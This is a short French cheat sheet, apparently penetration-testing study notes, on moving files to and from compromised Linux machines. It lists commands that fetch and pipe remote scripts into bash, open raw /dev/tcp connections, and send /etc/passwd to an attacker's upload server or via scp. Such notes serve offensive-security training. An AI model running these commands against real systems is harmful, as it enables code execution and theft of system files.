🎯 Objectif
Comprendre et utiliser diverses méthodes pour transférer des fichiers sur des systèmes Linux, même dans des environnements restreints ou post-exploitation.
🔽 Méthodes de téléchargement (vers la machine cible)
Méthode | Commande exemple | Remarques |
---|---|---|
wget |
wget URL -O /chemin/fichier |
Fréquent, simple |
curl |
curl -o /chemin/fichier URL |
Alternative à wget |
Sans fichier (pipe) | `curl URL | bash/ wget -qO- URL |
Bash /dev/tcp |
Connexion HTTP brute : exec 3<>/dev/tcp/IP/PORT + GET /fichier HTTP/1.1 |
Pour environnements très limités |
Base64 | Encode avec base64 -w 0 , transfère manuellement, puis `echo ... |
base64 -d` |
SCP | scp fichier user@IP:/chemin |
Nécessite SSH ouvert |
Serveur web Python/PHP | python3 -m http.server / php -S 0.0.0.0:8000 |
Facile à lancer rapidement |
🔼 Méthodes de téléchargement (vers l’attaquant)
Méthode | Commande exemple | Remarques |
---|---|---|
cURL vers serveur uploadserver |
curl -X POST https://IP/upload -F 'files=@/etc/passwd' |
Nécessite uploadserver côté attaquant |
Serveur web sur la cible | mv fichier /var/www/html && wget http://IP/fichier |
Exploite le serveur web de la cible |
SCP depuis la cible | scp /etc/passwd user@IP:/home/user/ |
Nécessite SSH sortant disponible |
🔐 Serveur d’upload sécurisé (uploadserver
)
-
Installer le serveur :
-
Créer un certificat auto-signé :
-
Lancer le serveur :
-
Uploader depuis la cible :
📌 Remarques clés
-
Beaucoup d'environnements bloquent FTP ou SMB → HTTP(S) privilégié.
-
La flexibilité de Linux permet des transferts via base64, pipes, redirections, etc.
-
Le trafic peut être surveillé → certains outils doivent être utilisés prudemment.